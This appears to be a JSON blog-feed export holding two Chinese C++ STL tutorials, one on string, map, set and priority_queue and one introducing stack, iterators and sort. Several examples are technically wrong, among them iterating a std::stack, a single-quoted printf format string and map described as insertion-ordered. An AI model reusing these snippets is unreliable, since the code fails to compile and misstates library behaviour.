s.size())\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e拼接方法\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003es += 'a'; s.push_back('a'); // -\u0026gt; string\u0026amp; 在 s 后面添加字符'a'\ns += \u0026quot;abc\u0026quot;; s.append(\u0026quot;abc\u0026quot;); // -\u0026gt; string\u0026amp; 在 s 后面添加字符串\u0026quot;abc\u0026quot;\ns = s1 + s2 // -\u0026gt; string 拼接 s1 和 s2\n// 可以说 += 和 + 是 string 最强大的运算了,解决了各种情况的拼接问题\ns1 == s2; // -\u0026gt; bool 直接比较两个字符串是否相同,这不比 strcmp 优雅?\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e此外,\u003ccode\u003estring\u003c/code\u003e 也可以按照字典序进行大小比较,直接用 \u003ccode\u003e\u0026lt;\u003c/code\u003e 或 \u003ccode\u003e\u0026gt;\u003c/code\u003e 比较即可。\u003c/p\u003e\u003cp\u003e在使用 \u003ccode\u003esort\u003c/code\u003e 排序 \u003ccode\u003estring\u003c/code\u003e 数组时,默认就是按照字典序从小到大排序了。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e增删\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003e// 也有 vector 风格的 insert 和 erase\ns.insert(2, 'a'); // -\u0026gt; string\u0026amp; 在下标为 2 的位置插入字符'a'\ns.erase(1, 2); // -\u0026gt; string\u0026amp; 从下标为 1 的位置开始,删除两个字符\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e转换\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003es.c_str(); // -\u0026gt; char* 返回 C 风格字符串,可以在需要 C 风格字符串时使用\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e查找\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003es.find('a', 0); // 可省略第二个参数,默认为 0\n// -\u0026gt; size_t 在字符串中从第 0 位开始查找字符'a',返回结果的下标。如果没找到就返回 string::npos\ns.find(\u0026quot;abc\u0026quot;, 0); // -\u0026gt; size_t 也能查找字符串,匹配上前几个字符就算找到了。返回第一个匹配字符的下标。\ns.rfind('a'); // 和 find 一样,不过是反向查找。\n\ns.find_first_of(\u0026quot;abc\u0026quot;, 0); // 可省略第二个参数,默认为 0\n// -\u0026gt; size_t 和 find 差不多,不过是只要字符串里有'a'或'b'或'c‘就算找到了。\ns.find_last_of(\u0026quot;abc\u0026quot;); // -\u0026gt; size_t 也可以反着找\n\ns.find_first_not_of(\u0026quot;abc\u0026quot;, 0); // 可省略第二个参数,默认为 0\n// -\u0026gt; size_t 和 find_first_of 反着来,字符串里没有'a'或'b'或'c‘就算找到了。\ns.find_last_not_of(\u0026quot;abc\u0026quot;); // -\u0026gt; size_t 也可以反着找\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e截取\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003es.substr(1, 3); // -\u0026gt; string 截取从下标 1 开始,长度为 3 的子字符串,返回截取的子字符串\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003eC++11 的转换方法\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003estoi(\u0026quot;2333\u0026quot;, nullptr, 10); // -\u0026gt; int 将字符串转换为整数,第三个参数为进制数,十进制可省略\nto_string(2333); // -\u0026gt; string 将数值转换为字符串\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e更多方法参见 \u003ca href=\"https://www.cplusplus.com/reference/string/\"\u003ecplusplus.com\u003c/a\u003e\u003c/p\u003e\u003ch3 id=\"toc_287\"\u003e其他\u003c/h3\u003e\u003cp\u003e\u003cstrong\u003e元组(tuple)\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e和数组差不多,就是没有固定类型,里面的可以同时存储不同类型的数据。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003e#include \u0026lt;tuple\u0026gt;\nusing namespace std;\nauto t = make_tuple(\u0026quot;xm\u0026quot;, 1, 'a'); // 赋值\nint n = get\u0026lt;1\u0026gt;(t); // -\u0026gt; 1 按下标访问\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"toc_288\"\u003e看起来很高级的容器\u003c/h2\u003e\u003cp\u003e这里的容器具有一定的特殊功能,自己手写可不好写哦。\u003c/p\u003e\u003ch3 id=\"toc_289\"\u003e优先队列(priority queue)\u003c/h3\u003e\u003cp\u003e优先队列会自动在插入时将元素排好顺序,即堆(heap)这种数据结构。默认顶部为最大的值,即大根堆。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e需要的头文件\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003e#include \u0026lt;queue\u0026gt; // 没错,还是队列那个头文件\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e声明与构造\u003c/strong\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e为方便起见,从这里开始声明和构造器就合一起了。\u003c/p\u003e\u003c/blockquote\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003epriority_queue\u0026lt;int\u0026gt; p; // 声明一个名为 p,存储 int 的优先队列,默认为大根堆,顶部为最大值\npriority_queue\u0026lt;int, vector\u0026lt;int\u0026gt;, greater\u0026lt;int\u0026gt; \u0026gt; p; // 小根堆的声明方法,顶部为最小值\n// 你也可以重载运算符 \u0026lt;,让优先队列按自己需要顺序排序\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e方法\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e只有通用的和下面的三个,不多。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003ep.push(2); // -\u0026gt; void 将整数 2 插入到优先队列\np.top(); // -\u0026gt; int 返回顶部的值\np.pop(); // -\u0026gt; void 弹出顶部元素\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"toc_290\"\u003e映射(map)\u003c/h3\u003e\u003cp\u003e了解过 Python 的同学应该都知道,Python 有字典(dict)这个类,可以通过一个键访问到对应的值。JavaScript 也有类似的类型:对象(object),其他语言或许有也哈希表(hash table)。\u003c/p\u003e\u003cp\u003e就拿 Python 举例来说,定义一个像这样表示三个人成绩的字典\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-python\"\u003egrades = {\n 'xiaoming': 89,\n 'lihua': 93,\n 'hanmeimei': 95\n}\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e如果想要根据人名获得对应的成绩,那只需要\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-python\"\u003exm_grade = grades['xiaoming'] # -\u0026gt; 89\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e只需要提供键(key):\u003ccode\u003e'xiaoming'\u003c/code\u003e,就能得到它对应的值(value):\u003ccode\u003e89\u003c/code\u003e。\u003c/p\u003e\u003cp\u003eSTL 的 map 容器提供的便是这种功能。map 有两种:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003emap\u003c/strong\u003e:底层实现是红黑树,是按照插入顺序严格有序的,因此访问也慢一些($O(\\log n)$)。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eunordered_map\u003c/strong\u003e:(C++11 才有的)底层实现是哈希表,无需,访问也更快($O(1)$)。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cstrong\u003e需要的头文件\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003e// 按需任选其一\n#include \u0026lt;map\u0026gt;\n#include \u0026lt;unordered_map\u0026gt; // C++11\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e声明与定义\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003e// 按需任选其一\nmap\u0026lt;string, int\u0026gt; grades; // 定义一个键为 string 型,值为 int 型的 map,名为 grades\nunordered_map\u0026lt;string, int\u0026gt; m;\u003c/code\u003e\u003c/pre\u003e\u003cblockquote\u003e\u003cp\u003e\u003cstrong\u003e注意:\u003c/strong\u003e由于这两种 map 基本用法都一样,所以下面都以 map 来举例。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cstrong\u003e遍历\u003c/strong\u003e\u003c/p\u003e\u003cp\u003emap 内部存储的元素类型是 pair。\u003c/p\u003e\u003cp\u003e像上面定义的例子,\u003ccode\u003egrades\u003c/code\u003e 里的元素是 \u003ccode\u003epair\u0026lt;string, int\u0026gt;\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e可以理解成,\u003ccode\u003egrades\u003c/code\u003e 里的元素的是这样的结构体:\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003estruct pair\n{\n string first;\n int second;\n}\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e如何遍历 map 呢?就像下面这样:\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003efor (map\u0026lt;string, int\u0026gt;::iterator it = grades.begin(); it != grades.end(); it++) {\n cout \u0026lt;\u0026lt; it-\u0026gt;first \u0026lt;\u0026lt; \u0026quot; =\u0026gt; \u0026quot; \u0026lt;\u0026lt; it-\u0026gt;second \u0026lt;\u0026lt; endl;\n}\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e方法\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003e// 还是上面那个例子,这次我们用 C++ 来写\n\n// 像这样可以添加映射\ngrades[\u0026quot;xiaoming\u0026quot;] = 89;\ngrades[\u0026quot;lihua\u0026quot;] = 93;\ngrades[\u0026quot;hanmeimei\u0026quot;] = 95;\n// 也可以像这样构造映射,直接赋值\ngrades = {\n {\u0026quot;xiaoming\u0026quot;, 89},\n {\u0026quot;lihua\u0026quot;, 93},\n {\u0026quot;hanmeimei\u0026quot;: 95}\n};\n\n// 像这样可以访问键对应的值\nint xm_grade = grades[\u0026quot;xiaoming\u0026quot;]; // -\u0026gt; 89\n\n// 支持经典的 insert 和 erase,也可以像下面这样用\ngrades.insert(pair\u0026lt;string, int\u0026gt;(\u0026quot;xiaomeng\u0026quot;, 100));\n// -\u0026gt; pair\u0026lt;iterator, bool\u0026gt; 相当于 grades[\u0026quot;xiaomeng\u0026quot;] = 100,但是它返回 pair\n// 其中,first 为插入元素(或已存在的相同键)的迭代器,second 为是否插入成功(如键已存在则插入不成功)\ngrades.erase(\u0026quot;xiaowang\u0026quot;); // -\u0026gt; size_t 删除键为\u0026quot;xiaowang\u0026quot;的映射记录\n\n// 查找方法\nmap\u0026lt;string, int\u0026gt;::iterator xm = grades.find(\u0026quot;xiaoming\u0026quot;); // 和下标访问不同的是,它返回的是一个迭代器\nxm-\u0026gt;first; // -\u0026gt; \u0026quot;xiaoming\u0026quot; 键\nxm-\u0026gt;second; // -\u0026gt; 89 值\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"toc_291\"\u003e集合(set)\u003c/h3\u003e\u003cp\u003e数学上的集合是不能出现重复值的,set 容器也是一样的。不过与数学上集合的无序性不同的是,set 容器内部是有序的(默认从小到大排序)。相对地还有个 unordered_set(C++11 才有的),它是无序的,因此速度也比有序的 set 更快。之前也写过\u003ca href=\"/archives/339/\"\u003e关于它的文章\u003c/a\u003e。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e需要的头文件\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003e// 按需任选其一\n#include \u0026lt;set\u0026gt;\n#include \u0026lt;unordered_set\u0026gt; // C++11\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e声明与定义\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003eset\u0026lt;int\u0026gt; s; // 定义一个名为 s,存储 int 的集合\nunordered_set\u0026lt;int\u0026gt; s1;\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e构造器\u003c/strong\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e为方便起见,下面都以 set 为例。\u003c/p\u003e\u003c/blockquote\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003eint a[] = {19, 19, 8, 10};\nset\u0026lt;int\u0026gt; s(a, a + 4); // 构造一个集合 {8, 10, 19}\nset\u0026lt;int, greater\u0026lt;int\u0026gt; \u0026gt; s; // 第二个参数可以自定义比较器,这个例子 s 内部从大到小排序\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e方法\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003es.insert(8); // -\u0026gt; pair\u0026lt;iterator, bool\u0026gt; 插入单个元素\n// 返回的 pair,first 为插入值(或已存在的相同值)的迭代器,second 为是否插入成功(如已存在则插入不成功)\ns.erase(19); // -\u0026gt; void 删除指定元素\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"toc_292\"\u003e其他\u003c/h3\u003e\u003cp\u003e\u003cstrong\u003emultiset\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e允许有重复值的集合,跟优先队列很像,不知道有什么用呢。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003ebitset\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e说是集合,却没有集合的特性,就当它是个存储位(bit)的数组吧。每一个元素都是一位,支持位运算。\u003c/p\u003e\u003cp\u003e比起 \u003ccode\u003ebool\u003c/code\u003e 数组来说,这东西更省空间,要对位进行精确操作可以用它。之前写过\u003ca href=\"/archives/520/\"\u003e关于它的文章\u003c/a\u003e。\u003c/p\u003e\u003ch2 id=\"toc_293\"\u003e太长不看版\u003c/h2\u003e\u003cp\u003e文章太长了一头雾水?STL 容器看起来很多,但其内核都是相通的。\u003c/p\u003e\u003cp\u003e现代编辑器都拥有完善的代码补全,所以你不用担心方法名能不能记住,你只需要知道这些方法是做什么的就可以了,以及,以上容器的拼写。\u003c/p\u003e\u003cp\u003e这里再列下它们的名字吧。\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e中英文名字\u003c/th\u003e\u003cth\u003e头文件\u003c/th\u003e\u003cth\u003e作用\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e栈(stack)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003estack\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e先进后出\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e队列(queue)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003equeue\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e先进先出\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e双端队列(deque)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003edeque\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e兼有栈和队列特性\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e链表(list)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003elist\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e双向链表\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e向量(vector)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003evector\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e动态数组\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e字符串(string)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003estring\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e比 \u003ccode\u003echar*\u003c/code\u003e 更好用的字符串\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e优先队列(priority_queue)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003equeue\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e堆,内部有序\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e映射(map)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003emap\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e构造键到值的映射\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e集合(set)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eset\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e不允许重复值,内部有序\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e如果想看详细用法就点击目录吧。注意,要先看通用方法哦。\u003cbr\u003e \u003cstrong\u003e参考资料:\u003c/strong\u003e\u003ca href=\"https://www.cplusplus.com/reference/stl/\"\u003ecplusplus.com\u003c/a\u003e\u003c/p\u003e\n","url":"https://hawa130.com/archives/763/"},{"title":"STL 入门指南 — 数据结构作业\u0026amp;考试利器","time":"2022-02-19T15:37:00Z","content":"充分利用 C++ 的 STL,可以让你做编程题事半功倍。前言STL(Standard Template Library,标准模板库) 对我这种经常用 C++ 的人来说是个很熟悉的东西了,毕竟它也...\u003chr /\u003e\n\u003cp\u003e充分利用 C++ 的 STL,可以让你做编程题事半功倍。\u003c/p\u003e\u003ch2 id=\"toc_294\"\u003e前言\u003c/h2\u003e\u003cp\u003eSTL(Standard Template Library,标准模板库) 对我这种经常用 C++ 的人来说是个很熟悉的东西了,毕竟它也是陪伴我 OI 生涯的老熟人了。不过,对于刚接触编程还是在大一的 C 语言课的同学来说,C++ 是似乎个遥不可及的东西;至于 C++ 的库?那就是个更遥远的东西了。可能新人对学习 STL 有着畏惧的心理,但是别担心,这种工具只是为了程序员的方便而创造出来的,它只会便利你。\u003c/p\u003e\u003cp\u003e本文将以简单的方式带你入门 STL,领略 STL 的强大之处。要注意这只是一篇用于入门的文章,不是参考手册。如果你有一定的 STL 基础,想要了解更多容器的用法,请看\u003ca href=\"/archives/763/\"\u003e下篇\u003c/a\u003e。\u003c/p\u003e\u003ch2 id=\"toc_295\"\u003e容器的引入\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e「栈」的引入。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e假如你正在做「括号匹配判断」这道题,需要用到「栈」这个数据结构。于是你手写了几个栈相关的函数,定义了几个变量来存储栈。就像下面这样。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003echar stack[100];\nint pos = 0;\n\nvoid push(char x) { stack[++pos] = x; } // 入栈\n\nvoid pop() { pos--; } // 出栈\n\nchar top() { return stack[pos]; } // 栈顶\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e看似这样也很简单?那如果这道题需要两个「栈」结构呢,你会怎么写?也许是直接复制一份现有的代码,或者是给函数增加参数,把指定的 \u003ccode\u003estack\u003c/code\u003e 及其 \u003ccode\u003epos\u003c/code\u003e 传入。然而这样一份代码就难以复用了。而且当你做到新的题目,又要用到「栈」这个数据结构,还要再复制一遍,并根据题目情况修改变量名以及新增一些函数,十分麻烦。\u003c/p\u003e\u003cp\u003e这时候,STL 的作用便体现出来了。STL 有许多的容器(Container),栈(\u003ccode\u003estack\u003c/code\u003e)也是其中的一种。更多的容器我们后面再来解释。\u003c/p\u003e\u003cp\u003e如何使用 STL 中的栈呢?\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003e#include \u0026lt;stack\u0026gt; // 引入「栈」头文件\n\nusing namespace std; // 使用 std 命名空间(STL 都在这个命名空间里)\n\nstack\u0026lt;char\u0026gt; st; // 定义一个栈,存储字符(char)类型,名为 st\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e这样你便定义了一个 STL 里的栈。那么如何调用它的功能呢?只需要在这个栈后面输入 \u003ccode\u003e.\u003c/code\u003e(与访问结构体里的变量一致),就能输入函数名调用它提供的方法(Method)了。并且,在有代码补全的编辑器(比如 VS Code)中,你在敲下 \u003ccode\u003e.\u003c/code\u003e 后,会有一个完整的方法列表显示出来。就像这样:\u003cbr\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"代码补全\" data-src=\"https://upload.hawa130.com/2022/02/589811080.png#vwid=471\u0026vhei=199\" src=\"https://upload.hawa130.com/2022/02/589811080.png#vwid=471\u0026vhei=199\"\u003e\u003cfigcaption\u003e代码补全\u003c/figcaption\u003e\u003c/figure\u003e\u003c/p\u003e\u003cp\u003e如果这时,你想要把 \u003ccode\u003ex\u003c/code\u003e 这个变量入栈,就像这样写:\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003est.push(x);\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e如果此时需要两个栈就简单了,直接定义一个新的栈即可。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003estack\u0026lt;char\u0026gt; st2;\nst2.push(y);\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e这两个 \u003ccode\u003epush\u003c/code\u003e 相互独立,互不干扰(这也是面向对象编程的好处)。所以,你想要几个容器就定义几个。\u003c/p\u003e\u003ch3 id=\"toc_296\"\u003e\u003ccode\u003estack\u003c/code\u003e 提供的方法列表\u003c/h3\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e方法\u003c/th\u003e\u003cth\u003e功能\u003c/th\u003e\u003cth\u003e返回\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003eempty()\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e判断栈是否为空\u003c/td\u003e\u003ctd\u003e\u003ccode\u003ebool\u003c/code\u003e(空为 \u003ccode\u003etrue\u003c/code\u003e,不空为 \u003ccode\u003efalse\u003c/code\u003e)\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003esize()\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e返回栈的大小\u003c/td\u003e\u003ctd\u003e\u003ccode\u003esize_type\u003c/code\u003e(可以理解成 \u003ccode\u003eint\u003c/code\u003e 这种数值类型)\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003etop()\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e返回栈顶元素\u003c/td\u003e\u003ctd\u003e\u003ccode\u003evalue_type\u003c/code\u003e(就是当初定义时候,栈存储的值的类型)\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003epush(value_type val)\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e将某个元素 \u003ccode\u003eval\u003c/code\u003e 入栈\u003c/td\u003e\u003ctd\u003e\u003ccode\u003evoid\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003epop()\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e弹出栈顶元素\u003c/td\u003e\u003ctd\u003e\u003ccode\u003evoid\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e还有两个 C++11 标准提供的方法 \u003ccode\u003eemplace\u003c/code\u003e 和 \u003ccode\u003eswap\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e前者可以传入一个数组,将这个数组的元素导入栈(等同于依次 \u003ccode\u003epush\u003c/code\u003e);后者在许多其他 STL 容器中也能见到,用于交换两个容器中的内容,比如使用 \u003ccode\u003est1.swap(st2)\u003c/code\u003e 就能把 \u003ccode\u003est1\u003c/code\u003e 和 \u003ccode\u003est2\u003c/code\u003e 里的内容相互交换。\u003c/p\u003e\u003cp\u003e与 \u003ccode\u003estack\u003c/code\u003e 相似的容器还有 \u003ccode\u003equeue\u003c/code\u003e(队列)、\u003ccode\u003edeque\u003c/code\u003e(双端队列),在此不再赘述。\u003c/p\u003e\u003cp\u003e更多更全的容器可以看看下面的\u003ca href=\"#toc_11\"\u003e参考手册推荐\u003c/a\u003e。\u003c/p\u003e\u003ch2 id=\"toc_297\"\u003e迭代器的使用\u003c/h2\u003e\u003cp\u003e看完第一部分的内容,你应该不免有疑惑:要是我想知道栈里面的内容该怎么办?这时就该迭代器出场了。\u003c/p\u003e\u003cp\u003e「迭代器」听起来是一个高大上的名词,但其实它只是解决一个实际问题的趁手工具。你可以把它理解为一种特殊的指针,当然,即使不会指针也能用。\u003c/p\u003e\u003cp\u003e比如我想要输出 \u003ccode\u003est\u003c/code\u003e 这个栈里的所有元素,就像这样写:\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003efor (stack\u0026lt;char\u0026gt;::iterator it = st.begin(); it != st.end(); it++) {\n cout \u0026lt;\u0026lt; *it \u0026lt;\u0026lt; endl; // C++ 的标准输出流语法\n // 等同于\n printf('%c\\n', *it);\n}\u003c/code\u003e\u003c/pre\u003e\u003col\u003e\u003cli\u003e\u003ccode\u003estack\u0026lt;char\u0026gt;::iterator it\u003c/code\u003e 定义了一个名为 \u003ccode\u003eit\u003c/code\u003e 的迭代器。注意双冒号前面,正好就是我们定义 \u003ccode\u003est\u003c/code\u003e 时它的类型。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eit = st.begin()\u003c/code\u003e 给 \u003ccode\u003eit\u003c/code\u003e 赋了一个值,这个值是 \u003ccode\u003est\u003c/code\u003e 这个容器的起始位置(头迭代器)。\u003c/li\u003e\u003cli\u003e\u003ccode\u003est.end()\u003c/code\u003e 表示 \u003ccode\u003est\u003c/code\u003e 最后一个元素的位置的下一个位置(尾迭代器),因此要用 \u003ccode\u003eit != st.end()\u003c/code\u003e 作为循环条件,当 \u003ccode\u003eit\u003c/code\u003e 指到 \u003ccode\u003est.end()\u003c/code\u003e 这个位置时,循环就该结束了。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eit++\u003c/code\u003e 在每一次循环后,\u003ccode\u003eit\u003c/code\u003e 会指向当前元素的下一个元素的位置。\u003ccode\u003e++\u003c/code\u003e 是它内部实现的方法,用于跳转到下一个元素的位置。它不等同于普通指针的 \u003ccode\u003e+=1\u003c/code\u003e,因为内存空间也许不是连续的。\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e学过指针的同学应该知道,\u003ccode\u003e*it\u003c/code\u003e 是 \u003ccode\u003eit\u003c/code\u003e 指向元素的值。如果你不了解指针,记得输出时带上星号 \u003ccode\u003e*\u003c/code\u003e 就行。\u003c/p\u003e\u003cp\u003e如果我们入栈元素的依次是 \u003ccode\u003e1 2 3 4\u003c/code\u003e,那么上面这段代码的输出应该是:\u003c/p\u003e\u003cpre\u003e\u003ccode\u003e4\n3\n2\n1\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e看到这里,你应该明白了如何去使用迭代器遍历容器内的元素。利用它不仅能输出容器里面的元素,还能对元素依次进行操作。要注意 \u003ccode\u003eiterator\u003c/code\u003e 这个单词的拼写哦。\u003c/p\u003e\u003cp\u003e不过如果你用的 C++11 或更高版本的标准,\u003ccode\u003estack\u0026lt;char\u0026gt;::iterator it = st.begin()\u003c/code\u003e 可以偷懒写成 \u003ccode\u003eauto it = st.begin()\u003c/code\u003e,这是因为 C++11 标准增加了 \u003ccode\u003eauto\u003c/code\u003e 关键字,能够自动推断赋值的类型。不过很多学校的 OJ 还是老标准,很可能不支持这个新特性。\u003c/p\u003e\u003ch3 id=\"toc_298\"\u003e反向迭代器\u003c/h3\u003e\u003cp\u003e一般我们用正向迭代器,不过 STL 也提供了反向迭代器。\u003c/p\u003e\u003cp\u003e顾名思义,就是用来反向遍历一个容器的。\u003c/p\u003e\u003cp\u003e看下面的代码你应该就懂了。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003efor (stack\u0026lt;char\u0026gt;::reverse_iterator it = st.rbegin(); it != st.rend(); it++) { // 做些什么 }\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"toc_299\"\u003e利用算法(Algorithm)偷懒\u003c/h2\u003e\u003cp\u003e\u003ccode\u003ealgorithm\u003c/code\u003e 这个头文件提供了许多实用的函数。只需要这样引入即可使用。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003e#include \u0026lt;algorithm\u0026gt;\n\nusing namespace std;\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e那么它有哪些奇妙的功能呢?它的功能实在是有点多,我们只挑几个常见的来看。\u003c/p\u003e\u003ch3 id=\"toc_300\"\u003e\u003ccode\u003esort\u003c/code\u003e 排序的使用\u003c/h3\u003e\u003cp\u003e手写排序无疑是痛苦的体验了。还好 STL 内置了一个排序用的函数,而且是它的效率极高的。\u003c/p\u003e\u003ch4 id=\"toc_301\"\u003e基本用法\u003c/h4\u003e\u003cp\u003e比如你有一个数组 \u003ccode\u003ea\u003c/code\u003e,里面存了 50 个不同的、乱序的 \u003ccode\u003eint\u003c/code\u003e 值,下标区间是 1~50。\u003c/p\u003e\u003cp\u003e想要把这 50 个值\u003cstrong\u003e从小到大\u003c/strong\u003e排列,只需要这样:\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003esort(a + 1, a + 51);\n// 等价于\nsort(\u0026amp;a[1], \u0026amp;a[51]);\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e第一个参数是首元素的地址,第二个参数是末元素的\u003cstrong\u003e下一个元素\u003c/strong\u003e的地址(可以理解成左闭右开区间,是不是和 \u003ccode\u003eend()\u003c/code\u003e 